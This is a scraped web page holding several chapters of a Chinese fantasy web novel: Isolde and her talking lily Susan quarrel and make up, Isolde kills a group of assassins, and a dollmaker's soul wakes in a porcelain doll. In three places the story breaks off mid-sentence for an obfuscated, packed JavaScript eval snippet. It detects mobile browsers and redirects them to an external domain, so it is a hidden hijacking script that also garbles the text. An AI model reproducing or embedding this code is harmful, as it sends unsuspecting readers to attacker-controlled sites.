“这次不是赌局,就是我的猜测而已。快选一个吧。”伊索尔德轻快地说,“不过要是苏珊赢了的话,我们可以在委托完成后就立刻出发去浮岛!怎么样,这个奖励是你喜欢的吧?” 灰百合立刻容光焕发,枝叶和花瓣都陡然散发出一股不可思议的生机来:“我喜欢这个!” 被激发了动力的灰百合伸出叶片,在伊索尔德所提出的三个猜想里来回移动,最后停留在了三上面:“我选这个。” 伊索尔德压下第三根手指,又把第二根手指压下去:“好啊。那我选这个。如果是我赢了的话苏珊要陪我去上学哦。” “这不还是赌局吗?!”灰百合呆滞一瞬,大喊道,“伊索尔德太狡猾了,竟然用这种办法来骗花。你已经不是小孩子了自己去上学有什么问题啊!” 亚达娜尔思学院在前几天放出了招生公告,预计将在一个月后开启招生。 伊索尔德一直梦想着成为亚达娜尔思学院的学生,以此得到观赏世界上最美丽的花的机会,而灰百合则因为想要去其他地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712003|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旅行不愿停留在一个地方跟伊索尔德发生了分歧。 在来地下城的路上她们已经因为这件事争吵过不少次,但每次都因为无法说服对方而结束。 “这是难得的好办法吧,”伊索尔德快乐地说,“如果是苏珊赢了的话就可以离开我,如果是我赢了的话苏珊就要陪我去上学,这是不用争斗也可以得出结果的好办法,跟抽签一样公平。” “你已经不是小孩子了!”灰百合噼里啪啦地拍着桌面表示自己的愤怒,“你可以自己去上学!” “不要。”伊索尔德拒绝,“很无聊,因为不知道会发生什么,所以我想要苏珊陪我。” 灰百合更大力地拍着书桌,那张桌面的角落开始裂开一道道缝隙,如果它的力气更大一点,恐怕会直接把桌子拍成粉末吧。 “苏珊——”伊索尔德把它拎起来,两只手托住了最大的那朵花,“陪我嘛。我们一直都在一起,你为什么不肯去那里呢?” “没有为什么,就是不要。”灰百合在伊索尔德的手里挣扎,努力地蹬着伊索尔德的手臂,“快把我放下来,快点!” “如果不告诉我为什么的话就不。”伊索尔德干脆地说,“苏珊每次听到亚达娜尔思的名字就会生气,但是又从来不肯说理由。” “......” 灰百合停下来所有的动作,它不再挣扎,却整朵花都灰暗萎靡了下去。伊索尔德被吓了一跳,立刻把它放开了。 “苏珊不想说的话我就不问了。”她有些慌张,“你现在看上去要死掉一样,你不要吓我。” 看起来快要死掉的灰百合狠狠拍了她一下,从桌上跳了下去,钻进了被子里。 “笨蛋伊索尔德!”它在被子里大叫,“我绝对不会原谅你的,除非你给我买自动人偶和竹筒饮料。” 伊索尔德走到床边,隔着被子戳了戳灰百合,然后被毫不留情打了一下,虽然这点力道对伊索尔德来说跟被风吹了一下没什么两样,但她还是很配合地痛呼了一声。 她坚持不懈地戳着灰百合,声音放得很轻柔,丝毫看不出来刚刚幼稚模样:“还要别的吗?” 苏珊翻了个身,避开了伊索尔德的手指。 它恶声恶气道:“不要了,你去吧。五分钟之内不回来我会更生气。” “不要生气。”伊索尔德认真道,“生气了你掉的花瓣会更多的,打扫起来很麻烦。我马上回来,苏珊不要乱跑。” “我又不是小孩子怎么会乱跑啊...等等,你刚刚是不是在嘲笑我掉头发?!”灰百合猛地掀开被子,对着早已空无一人的室内怒道。 它环顾一圈房间,发现伊索尔德恐怕在说最后一句话时就已经离开房间了,灰百合愤愤捶了一下被子,又继续缩到里面去了。 伊索尔德离开之后,整个房间空得吓人,寂静放大了声响,灰百合把自己像种子一样团起来。 “笨蛋伊索尔德...”它小声说,“你根本什么都不懂。” 34.伊索尔德的烦恼 地下城上层。 “街角”咖啡厅。 伊索尔德坐在椅子上,单手托着下巴,正望着空气出神。她的位置在窗边,虽然有绿植影影绰绰地遮住身影,但反而使得她脸上出现一种朦胧的美。咖啡厅里外都不少人正在自以为隐蔽地偷偷看她,有的只是出于对美的欣赏,有的则怀抱一些不太美妙的念头。 刚刚在点好的食物和饮料陆陆续续送达,笑容柔和的服务员把菜单和对应的单品一一放好,弯下腰来,在伊索尔德耳边悄悄说话:“后门有小路。” 说完,她抬起脸来,迈着轻盈的步伐回到了厅堂里继续自己的工作。 伊索尔德抿了口热巧克力,无意般瞥过那些满怀恶念的目光,强横的精神力无声无息地接管了他们的大脑,咖啡厅里走出几位客人,他们的目光呆板而空白,在离开咖啡厅后,独自走进了漆黑的小巷。 绳索被绞紧的声音响起,无人的角落里溅满了喷涌的热血,墙壁边倒下的尸体被碾碎了头部,无力地跌坐在地上。 伊索尔德垂下眼,面容在升起的雾气中模糊不清。 她拈起一块棉花糖咬了口,心情平静。 地下城的治安十分奇妙,城主及护卫队在大部分情况下保障顾客的人身安全,但倘若遇到这种黑吃黑的情况,则会默契地做失踪处理。伊索尔德也不是第一次遇到这种情况了,她十分淡定而轻松地清除了这批脑子进水的蠢货,心想地下城真是什么人都收,迟早没救。 被短暂打断了思考进程的伊索尔德又开始对着空气发呆,在她脚边放着一叠大小不一的购物袋,隐隐约约露出手工制作的精致人偶一角。足有好几升的竹筒饮料被放在桌面上,旁边还杂七杂八放了一些造型小巧的制品,占满了大半张桌面。 按理来说,咖啡厅这类地方是不让外带食物的,但因为她的消费足够高昂,咖啡店的主人也就默许了她的行为。 地下城的商品种类多如繁星,即便是再偏僻冷门的东西在这里都有渠道可以买到,自动人偶在这里甚至拥有一整条街来对外展览与售卖。 本来这类商品在下层也有相应店铺,但由于刚刚从那里离开,而伊索尔德又懒得走回头路,因此她直接选择了上层作为购物地点。 鸦的委托要在一周后才会正式启动,在此之前,她们俩之间的交易处于保密状态,鸦无权要求伊索尔德提前工作,伊索尔德也不必思考委托,可以在地下城大肆挥霍。 伊索尔德对人偶的了解全部来自于苏珊,没有多加思考就直接按照店铺顺序一一买下了每家店最精致也最昂贵的人偶。她对人偶兴趣平平,或者说,她对于世界上大部分娱乐都没有什么偏好。和苏珊这样毫无理由地沉迷于无用之物不一样,伊索尔德所拥有、所知晓的绝大部分东西和知识往往都只是因为“需要”。 她几乎没有纯粹而长久地爱过什么东西,哪怕是机甲也只不过是一时心血来潮。在她看来,这个世界固然有趣,但却太容易被解构。她在幼年期就可以仅凭本能独自拆解出书本、新闻、言语背后的秘密,长大后,即便没有精神网络,也很少有谁能在她面前保持神秘。 这也许可以归功于她的聪慧和敏锐,但也正因此,伊索尔德在情感上的缺陷同样被展示得十分透彻。 塔纳斯很早就察觉到了,自家王女缺乏情感这件事。 这并不是说她没有,而是她的情感少得可怜,除却虫族出生自带的“责任”“忠诚”“对母亲的无条件爱”之外,她完全不具备任何一个机制完善的生物所应具有的情感。这种问题还说不上缺陷,也并不影响她的日常生活,伊索尔德和塔纳斯都不觉得有什么大不了,先天没有不代表不能学,虫族的精神网络里涵盖了所有虫族的情绪,通过对这些信息的无意识模仿,伊索尔德勉强构建起了属于自己的情感系统。 但也有例外情况,比如说面对苏珊这样没有精神网络的异族,她所擅长的察言观色就完全派不上用场。 说得通俗点,就是她经常惹苏珊生气,且根本弄不明白为什么。 —— 上层的天穹渐渐黯淡下来,咖啡厅里原本的客人陆陆续续离开,只剩下伊索尔德还坐在靠窗的座位上发呆。 她已经买好了苏珊所要求的所有“道歉礼物”,但还缺少一个理由。 这是她和苏珊之间的约定。 跟伊索尔德一起长大的苏珊几乎跟塔纳斯同时察觉到了她的问题,虽然一开始也对她的性格很没办法,但摸清楚本质后就要求她做错事情后不仅要道歉,还要清楚明白地说出为什么。 不仅伊索尔德要这样,灰百合自己同样如此。 “因为你不懂我在想什么,我也钻不开你的脑袋。如果我们还想要做朋友的话,就必须明白对方生气的理由,以免以后再发生类似的事情。”灰百合过去所说的话还历历在目,伊索尔德叹了口气,伸手在玻璃杯杯壁旁点了一下。 咖啡厅里所提供的热巧克力味道很好,但因为伊索尔德一直在发呆,导致到现在还剩下一半没有喝完。热饮的温度在她的思考过程中不断冷却,到现在已经可以说是透心凉。 伊索尔德张开手指又合拢,从脚边的袋子里抽出一个一米长半米宽的木盒,盒盖是透明的,里面躺着一个五十厘米高的陶瓷人偶。 这是某家店的赠品,因为在关节上的制作出了些许差错导致它没法像其他人偶那样活动自如,按照店主的说法就是一个只能永远坐在轮椅上的家伙,虽然确实精致异常,但根本上的缺陷和让大多数人只能仰望价格让它至今留在橱窗里,做一个吸引客流的看板。 伊索尔德按照苏珊的口味买走了这只人偶,但是否要送出瑕疵品这件事让她又有些犹豫不决。 陶瓷人偶闭着眼,躺在放满了永生花的木盒里,她穿着样式复古的洋裙,两只手交叠在腹部,神态娴静而优雅。 这些仿照人类比例所制作的玩偶大多有着美丽而毫无生机的面容,微微翘起的唇角如同衔着一抹说不清道不明的气息,让人情不自禁看得入迷。 伊索尔德与人偶隔着透明盖板静静对视,一时间竟让人分不清谁才是人偶。 “我还是想不明白。”伊索尔德用有点撒娇的口吻在精神网络里说话,她决定求助外援,“它为什么不开心呢?” “嗯?”塔纳斯在精神网络里发出疑问,语气温和,显然对此类事件习以为常,“你又惹苏珊不高兴了吗?” “...大概也可以这样说吧,总之就是,苏珊拒绝跟我一起去亚达娜尔思上学,它想自己出去玩。”伊索尔德原原本本把自己和灰百合这些天的经历说了一遍,从卡萨不怀好意的接近,到星舰上的“溯流”,以及地下城的委托和刚刚生气到假死的苏珊。 “所以为什么呢?”伊索尔德真心实意地发问,“我不觉得苏珊跟亚达娜尔思有什么牵扯,它似乎讨厌的不是这个学院和名字,难道只是觉得跟我旅行不舒服,想要试试自己环游星际吗?” 塔纳斯思索一瞬,否决了王女的想法。 灰百合和伊索尔德形影不离,塔纳斯很明白前者对自家王女的纵容比起虫族来也不遑多让,不知道是因为救命之恩,又或是因为精灵族天然缺乏抵御“美丽”这个概念的能力,苏珊很高兴能一直待在伊索尔德身边。它从来不觉得跟伊索尔德待在一起是一种负担或消耗。 “也许是别的原因。您有什么想法吗?”她说。 “我想不出来别的了。”伊索尔德老实承认,“我已经把能想到的理由都说了一遍,但苏珊全都否决了。” 塔纳斯也开始跟着伊索尔德一起陷入沉思。 —— 阿斯塔星。王城。 白发虫族站在走廊的边沿上目光放空,卡涅尔打了个哈欠,恰好在拐角撞见不知道正在想什么的塔纳斯。 她想得很认真,脸上流露出任何人看了都能明白的困惑之情,能让她这样认真思考的事情多半与王虫有关,考虑到王虫是自己的学生,卡涅尔决定勉为其难问问她需不需要帮助。 听完整个经过之后的卡涅尔喷了。 “这简直就是小学生吵架一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740463|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的问题。”她虚着眼,抱着手靠在塔纳斯对面的圆柱上,心情复杂,“结果你们竟然一个想得比一个认真...” 塔纳斯代为转达了卡涅尔的话。 片刻后,一面光屏在塔纳斯和卡涅尔的面前展开,伊索尔德的脸出现在上面,她挥了挥手,很高兴地笑了一下,然后向自己的老师提问:“老师知道为什么吗?” 卡涅尔被伊索尔德期待的目光所注视,原本组织好的措辞也变得有些混乱:“呃...嗯...其实还挺简单的啊,不过我不保证我的想法是对的,你听完之后自己想想吧...总之就是因为苏珊不愿意跟你一起去亚达娜尔思学院对吧?其实你可以试试换位思考,如果你不极力抗拒去某个地方是因为什么样的原因?” “呃...”伊索尔德迟疑了下,努力按照灰百合的思路运作,“不喜欢?” “更详细点呢?” “不喜欢那里的学生或者老师。”伊索尔德回答得流畅了点,“没关系,如果是这样的话我可以先一步帮苏珊把那个人排除在外。” 卡涅尔:“......” “怎么就绕到这上面来了...我不是这个意思,”卡涅尔放弃了挣扎,觉得还是老老实实说推测吧,谁知道伊索尔德能把答案扭曲到什么地方,她也不是第一次见识伊索尔德的毫无自觉了,“其实我觉得可能是因为你总是说要去亚达娜尔思看花,所以苏珊才生气的。百合花也是花啊...虽然不知道花有没有自尊心这种东西,我对精灵族不太懂,”她挠了挠头,“但不管怎么样都感觉你在嫌弃它吧。会生气不是很正常吗?” 伊索尔德沉默了两秒。 她缓缓睁大了眼。 “我才不会这样想呢!”伊索尔德在精神网络里抗议,“苏珊当然是世界上最好看的花啊,我只是想知道亚达娜尔思里那朵总是被吹捧的花长什么样而已,有好奇心不是很正常吗?苏珊自己也经常夸人偶长得很好看啊,那些人偶跟我还挺像的,我也没有生气过。” “不...事情不能这样算的,你不生气不代表其他人不会因此生气,每个人都是不一样的,感兴趣的事情不一样,在意的点也不一样。啊,当然也包括虫族和精灵。”卡涅尔回忆起苏珊的那些人偶,吐槽道,“更何况,你就没发现它之所以那么喜欢玩人偶是因为你不陪它玩换装游戏吗?” 伊索尔德的容貌世所罕见,精灵族及其造物又都追求着“美”,灰百合从伊索尔德小时候起就很喜欢跟塔纳斯一起给她搭配衣服,享受着那种打扮娃娃的快乐。但伊索尔德觉得这太麻烦了,拒绝过几次,之后灰百合转而收集那些制作精良的娃娃以满足自己的爱好。它的娃娃有专门的房间安放,卡涅尔去过一次,一进门就看到了无数个伊索尔德,人生第一次知道恐怖谷效应是什么东西。 “是吗?”伊索尔德歪了歪头。 “是啊。”卡涅尔无语,“估计是因为它也觉得要求有点无赖,所以没有跟你说吧。不过你居然真的现在才知道...”明明都发现那些人偶跟自己长得很像了,竟然没有想到背后的理由。 该说是迟钝呢,还是不在乎呢? 恐怕这个答案连伊索尔德自己也不知道。 伊索尔德沉吟两秒:“也就是说,苏珊可能是因为觉得我会喜新厌旧,所以生气了?” “这个词不能这样用,但差不多就是这个意思吧。你确实没有注意到它的感受,它生气很正常,回去好好道歉吧。”卡涅尔放弃纠正伊索尔德的措辞,“对了,你现在在地下城对吧?我听说拍卖会上面有几样好东西,等会儿列个单子给你,记得帮我买一下。” “好的——”伊索尔德语气轻快地说,“塔纳斯有没有什么想要的?” 大祭司笑了一下,摇摇头。 “那再见咯。” 伊索尔德低下头去找终端上的对应开关,白色的头发搭在肩膀,被发扣束紧,下面缀着一个小小的银色铃铛,在她低下头的时候叮当作响。 她抬起头笑了一下。 投影关闭了。 35.人偶师与三流谋杀 解决了心头大事的伊索尔德把礼物收回空间纽,推开了咖啡厅的门。门口垂挂着两束仿真的风信子风铃,每次有客人进出时都会发出清脆的声音。 地下城没有普遍意义上的“昼夜”,为生活在这里的人划分时间的是每条街出入口都会设立的巨大青铜时钟。它跟表世界的时间接轨,每过一个整点都会报时。 伊索尔德走到街头的时候正好十二点,时钟周围绽放出小小的烟花,旁边有一群人正在围观,看样子多半是游客,被牢牢牵着手的小孩发出惊呼声音,而大人则顺应她们的心意按下相机。 伊索尔德抱着手看了会儿这场景,她想了想,也拍了一张。 回旅店的路并不远,她熟门熟路找到来时的电梯,在设置好出口后,就开始组织措辞为接下来的道歉做准备。 电梯里很安静,虽然做成了老旧的款式,但本身还是高科技的产物。开合很顺利,并没有发出不适的吱嘎声,地面铺了白底金边的毯子,一束新鲜的郁金香浸泡在盛满清水的玻璃瓶里,它的姿态在水中一览无遗,每一根分支都显得生机勃勃,深紫色的花瓣如同整部电梯里唯一的亮色。 伊索尔德沉默地注视着郁金香,电梯的速度开始放慢,标志着即将抵达目的地。 就在道歉词差不多预演完毕,已经可以进入收尾阶段时,火光和呼啸而来的光束一同迸发在伊索尔德眼前。 一场有预谋的埋伏。 她几乎是立刻意识到了这点,紧接着,无聊的情绪翻涌而上,让她的每个动作都显得有气无力。 护送诺贝塔来地下城并非一帆风顺,在意识到她是不可撼动这点之前,这种规模的暗杀随处可见。 在她们刚刚抵达第四星系时,诺贝塔曾经让她留下过几个无名小卒的性命让他们传回情报,以示警告。但不知道是那群人太蠢又太自信的缘故,似乎将其误认为了开战宣言。 有这样的兄弟姐妹,也难怪诺贝塔的曾祖母会力排众议,将银河集团交给诺贝塔。 伊索尔德随手在空气中挥了挥,连刀都没拔出来。游离在她身边的精神力开始自发搜捕来者,在王虫的精神力压制之下,他们甚至不知道自己的位置已经暴露。 远处的狙击手被率先扭断了脖子,刺客们对自己的后路已经被切断这件事一无所觉,兢兢业业进行着自己的工作。 火光后面跃出了人影,更远处则传来武器上膛的声响,一群浑身上下被黑色布料包裹的人堵在电梯口,为首者还想放几句狠话,就见目标已经自己走到了包围圈之中。 她看起来漫不经心,似乎眼前这些都只不过是尘埃一样微不足道的小事。 这样的态度激怒了暗杀者,但也让他们更加谨慎。 与死亡长久打交道的人总会被磨练出一点特别的直觉,而这直觉告诉他们伊索尔德是个难啃的骨头,是个自恃武力而毫无顾忌的狂徒。 这是心理分析小组结合幸存者口述及少量目击情报后得出的结论,他们判定这个不明人物就是“已死亡”的三小姐诺贝塔所依仗的全部,换句话说,只要把她这个不稳定因素清除,诺贝塔本人不足为惧。 “三次。”伊索尔德自言自语。 “什么?”一个人忍不住接话。 “啊,我不是在跟你们说话。”伊索尔德轻慢地瞥了他们一眼,把身前的头发捋到耳后,她把自己衣袖上的褶皱抚平,“从来到地下城之后已经遭遇了三次袭击,嗯,鸦这个城主当得还真是失败啊。” 伊索尔德不远处的路灯闪烁了一下,她与那路灯对视,挑衅道:“放下这么多眼睛又有什么用呢?” 毕竟你什么也做不到。 暗杀者没听懂她在说什么,但无论对手是疯子还是精神病,任务总归要完成。 无数道弧光逼近,伊索尔德站在原地一动不动,她的双手交叠在腹部,神似那只被收起来的人偶娃娃。 她甚至微笑了一下。只是那笑容...怎么说呢,仿佛弥漫着金属与鲜血的气息,仿佛死神对他们发出的嘲笑。 所有攻击都停留在了她周围一米处。 暗杀者们惊恐地发现自己连身体都不再能扭动一下,他们的时间仿佛跟攻击一起停滞在了靠近伊索尔德的时候,如果动作幅度过大,身上甚至开始出现长而深的创口。 无数肉眼不可见的精神力丝线分布在周围,它们既隐蔽又锋利,虽然韧度不算出色,但用来对付这群三流刺客完全足够。 刺客们仿佛也意识到自己的处境——不能动,一旦动了就会被无形的丝线划伤,一旦失血过多,就会在这里死去。 情势逆转只在一瞬间,但假如认真思考,似乎连那一瞬间都是伊索尔德所给予的仁慈。 当他们陷入静止之后,伊索尔德反而开始走动起来,她从刺客的身边走过,神态悠闲而轻松,看起来跟刚刚没有任何区别。 这场刺杀就这样潦草落幕。不论是参演者还是观众都只觉得荒诞,既没有激烈的冲突,也没有几句称得上精彩的对白,刺客就这样草率地被送往了死神面前。 丝线割裂出来的伤口正不停流着血,鲜红的血先是染透了衣服,接着以一种无可逆转的姿态滴落到地面,渐渐汇聚成一小滩污渍。 在这规律的水滴声中,刺客们也感觉到了死神正提着镰刀赶来的步伐。 恐怕他们带着武器冲出来的样子正如小儿嬉戏一般可笑吧。 在视野即将彻底陷入黑暗时,一位刺客忍不住这样想道。 —— 伊索尔德走到了那架闪烁着的路灯前面,路灯有五米高,上面悬挂着一个向日葵花盘般的灯泡,随着时间变换交替发出冷暖光。在这种大量的光线中,很容易让人忽视里面还藏着的东西。 “你是自己出来,还是我把你拧下来?”伊索尔德好声好气询问道。 鸦的声音从灯泡里传来,她听起来有些无奈:“你可以当做没看见。” “之前让你看是因为我不在乎,但现在我们已经达成了交易,那么撤回这些监控就是你应该做的事情。”伊索尔德不为所动,“你缺乏对自己所属领地的安全感,是因为它们从未属于过你吗?我在上层听到很多有意思的传言,比如十五年一改选的城主。” 说到这里,她几乎像是在威胁了。 但她看起来还是那么平静而冷淡,好似对这一切都漠不关心。过多的光线虽然能遮蔽监控器的存在,但也让镜头里所呈现出的画面出现了一定失真,在鸦的视野里,伊索尔德那双白色的眼睛仿佛被暖光镀上了一层金边,给她的脸染上一种妖鬼般的色彩。 鸦沉默了,半晌,她道:“诺贝塔说过你很聪明。” 这或许已经不是聪明这个词所能概括的了,在鸦看来,这是一种稀少而珍贵的才能,仅仅存在于这个世界上极少数人身上。她毫不怀疑再给伊索尔德一点时间,自己就能从头到尾被她扒个干净。 想到这,她也只能自认倒霉。 她张开口想说点什么,又想起来伊索尔德不喜欢人讲太多废话,于是省去那些你怎么会发现之类的问题,直白道:“路灯里的监控是跟地下城初代城主布下的后手,我没有权限关闭。今天的事是个意外,以后不会有了。” “仅此一次。” 伊索尔德盯着路灯看了一会儿,继续往旅店走去了。 原本闪烁不定的路灯安静下来,顶端的光暖融融洒在道路上,伊索尔德的影子被拉得很长,不知道从哪里出现的护卫队默默拖走了这些死状诡异的尸体,无声无息地进行善后工作。 辉煌壮丽的旅店近在眼前,那水晶灯所折射的光芒比宝石更加耀眼,哪怕是这样一场突如其来的刺杀也没有打搅她的好心情,伊索尔德迈着轻快的步伐上楼,她特意看了眼时间,发现自己并没有出去太长时间,还赶得上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756214|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚饭。 “苏珊?”她站在门口叫灰百合的名字,“你睡醒了吗?我把东西买回来啦。” 雪白的床被上坐着一支百合花,它的花苞下面垫着枕头,让它得以跟伊索尔德视线平齐。 它哼了一声,听起来还有点余怒未消,伊索尔德想了想,在它身边坐下来。 “对不起。”她诚恳地说,“我已经充分认识到自己的错误了,我不该总是强调亚达娜尔思那里的花。我只是不想自己去上学,苏珊才是我心里最美丽的花。” 苏珊有些狐疑地说:“真的?” “真的。”伊索尔德拉起它的花苞贴在自己手腕上,说了一大段溢美之词,全在赞美它独特的美丽,眼看着苏珊的怒火消失得差不多了,她又说,“你是我珍贵的朋友,不管亚达娜尔思那里所宣称的花如何美丽,它都不会像你一样。也许这个世界上有很多美丽的花,但对我来说,你是唯一且不可替代的。” 苏珊心情很好地晃了晃,伊索尔德乘胜追击:“所以原谅我好吗?” “看在你这么认真的份上,”苏珊有点不好意思地咳了一声,它伸出枝叶开始拆伊索尔德带回来的自动人偶,貌似不在意地说,“这次就原谅你啦。” 伊索尔德帮它把竹筒饮料插上吸管,殷勤地放到它的叶子上,苏珊一边啜饮着甘甜的饮料,一边拆开了人偶的层层包装。 大大小小十六个人偶在它面前依次排开,灰百合满意地欣赏了一会儿,注意到了另外一个没有被伊索尔德放上来的木盒。 “那个是什么?”它指了指。 “那个也是人偶,”伊索尔德看起来有点苦恼,“但是那个是瑕疵品,关节很不灵活,我不知道你会不会喜欢。按照正常的情况来说,把瑕疵品当礼物似乎很不礼貌。” 灰百合指出她话里的盲点:“我们是正常情况吗?” 说完,它又拽了拽伊索尔德的衣袖,听起来很兴奋:“如果是瑕疵品还能被你带回来说明它肯定很好看啊,让我看看。” “好吧。”伊索尔德从善如流把木盒拿过来在它面前打开,古典的陶瓷人偶有一张让人会屏息凝神对待的面容,它还是跟刚刚一样,看起来没什么变化。 灰百合已经开始摸锁扣了,结果被伊索尔德一把抓住。 “怎么了?”它看向伊索尔德。 “不对...”伊索尔德脸上所有的表情都褪去了,空白又冰冷,白色逐渐从她身上褪去,变回原本的银色头发和深绿色眼睛。 伊索尔德的伪装与精神力挂钩,因为大部分情况下都游刃有余,所以得以保持。但也因此,她一旦遇到超出预料的意外状况,就完全顾不上那层伪装,会显出自己的本来面目。 她把灰百合挡在身后,重新一寸寸自上而下打量那只人偶,第一次这么认真去看没有生机的死物。 它看起来还是那么脆弱而精致... 但是它的眼睛睁开了。 而伊索尔德很确定它的眼部结构并没有可动结构。 “你是什么东西?” 木盒里开始不停发出咔哒咔哒的声音,就像久未润滑的齿轮被启动,那双眼睛极为缓慢地眨了眨,它交叠在一起的手分开了,轻轻贴在了盒盖上。 盒盖的玻璃在它掌心下四分五裂,那些飞溅的碎片被丝线“拴”在了半空,又一同调转方向,指向了还待在木盒里的人偶。 人偶没有张口,但的确有一道声音出现在了房间里。 那道声音说:“真失礼啊...你们在对一个刚刚睡醒的老人家做什么呢?” “你能躲过我的探查。”伊索尔德平静地说,“你是什么?” “那只是因为,在醒来之前,我的确死去了。没见识的小家伙,你家长辈没有跟你说过‘人偶师’的故事吗?”人偶叹息道,它的眼睛睁得更开了。 伊索尔德看见它的眼睛是紫色的。 36.异世界来客 “人偶师?” “就是人偶的制作者,从字面意思上来理解是这样的。”苏珊从伊索尔德身后探出半个头,好奇地看着面前这个自称人偶师的陶瓷人偶。 “大体上是这样没错,你们可以叫我阿尔法,我不介意。”人偶师愉悦地承认了苏珊的解释,“没想到现在连植物都能说话了呢,看来我还真是睡了很久。也不知道孩子们怎么样了。” 人偶也会有孩子吗?听起来跟星际世界存在幻想种一样充满着非现实感。 苏珊有些困惑地问道:“孩子们是?” “就是我的人偶。”阿尔法很好心地给它解释,“我的工作就是制作人偶,我可是倾注了全部的爱在它们身上呢,既然这样,按照人类的说法,我就是它们的父母没错吧?” 阿尔法的脸上出现了“苦恼”的表情:“只是这次睡得太久了,孩子们似乎都不在这边呢。说起来,这里是什么地方?” 她打量了一圈自己所在的房间:宽阔大气的套房,堆满了人偶的床铺,不远处的桌子上放着新鲜的花束,被打开一半的窗户里有微风浮动,时不时带来些许闲碎言语。 完全陌生的地方。 阿尔法的一生都在制作人偶中度过,没有出过几次门。但即便如此,她也敏锐地从语言、环境以及地点的变化上察觉到了异常。 人偶面上的苦恼变得真心实意起来,啊啊,这可真麻烦啊,恐怕这已经并非自己的时代了吧。真是的,本来以为睡一觉没什么大不了,结果竟然出了这种事... 伊索尔德一手拦住想要窜出来的灰百合,没有起伏地说道:“这里是第四星系的地下城。你没有太多记忆吧?苏珊很容易被骗,希望你不要说谎。” 比如说什么自己的孩子走丢了之类的...也许按照人偶师的定义来说没错,但恐怕那些人偶对她来说并不算多么珍贵的东西。虽然说自称只是制造人偶的工匠,但伊索尔德能感受到她身上那种不经意流露出的轻蔑之情——对生命和死亡的蔑视,对自己和人偶的贬低。 阿尔法的性格有点太复杂了,如果是苏珊的话肯定会被骗的。 自觉责任重大的伊索尔德审视着这只人偶,想要得到更多信息,遗憾的是陶瓷人偶所能做出的变化有限,即便是她,也没法从这张脸上看出太多东西。 苏珊后知后觉:“你刚刚在骗我吗?诶,难道说你不是人偶师,而是是真的人偶?” 话说人偶可以拥有灵魂吗...苏珊陷入了沉思,它自己是个特殊例子所以不能作为参考,但星际的大多数文明都以科技为主要发展倾向,除去幻想种这样超现实的存在,似乎不太能跟人偶扯上关系? 阿尔法俏皮地眨了眨眼,抬起一只手,用宽大的衣袖遮住半张脸:“哎呀呀,你的保护欲似乎有些过于旺盛呢,连谎言都分辨不出来的家伙可是很难在世界上生存的哦?不过刚刚说的话是真的,在下的主业的确是人偶师,如果有需要的话可以提供定制服务哦~顺便一提,我现在用的这具身体就是我自己做的。” “那你的手艺很好诶。”苏珊立刻抛下了自己刚刚的想法,兴冲冲说道,“我想要一个跟她一样的人偶,你可以做吗?” 阿尔法顺着灰百合的叶子看向了它指的伊索尔德。 银发绿眼的女孩面无表情看着她们,看起来比人偶还人偶。 阿尔法诡异地陷入了沉默。 虽然并没有制造类似人偶的记忆,但她在醒来之前就在伊索尔德身上感受到了某种熟悉的东西,不然也没那么容易被唤醒。尽管因为记忆缺失了大半的缘故她也不太敢确定自己的猜测是不是真的,不过借着这个机会开口问问似乎也不错... 人偶师有些迟疑地开口:“怎么说呢...我其实觉得你挺熟悉的呢。莫非你是我家跑丢的某个孩子吗?” 伊索尔德没有被苏珊和阿尔法的神奇脑回路带跑,果断拒绝:“我是虫族。” “噢噢这样啊...”阿尔法有些失望。 “等等,”后知后觉意识到不对的人偶师猛地抬头,“虫族又是什么?!难道说在下穿越了吗?” 苏珊惊了:“虫族就是虫族啊...难道你不知道吗,不对啊,这是常识啊。” 虽然很少有虫族相关的情报流传到外界,但拜先辈凶残事迹所赐,外界多多少少都对这个种族有一定的了解。哪怕是小孩子也知道这个世界上有幻想种呢,人偶师怎么会对此一无所知。 经过一系列鸡同鸭讲的对话,阿尔法勉强理解了现状——自己来到了遥远到不可思议的世界,而且还多出了幻想种这样挑战人类想象力的存在。而在得知伊索尔德的种族并收到王虫貌似不经意的精神力警告之后,人偶师不得不遗憾选择怀柔政策,放弃自己刚刚暴力平推的想法。 虽然她本来就不怎么擅长近战,但这种家伙怎么看都有些超模了吧...不管是□□还是精神都无可比拟的强大,放在任何地方都不会是无名之辈。这个世界到处都是这样的家伙吗?人偶师有些不可思议地想到。 当阿尔法态度柔化下来放弃搞事之后,伊索尔德的态度也相应地放柔了。她本来就只是出于对未知的忧虑而下意识进入了防御状态,但在发现人偶师不足为惧之后就放松了下来。 人偶师有些奇怪地看了眼伊索尔德——是错觉吗,这家伙的表情是不是比刚刚生动了些? 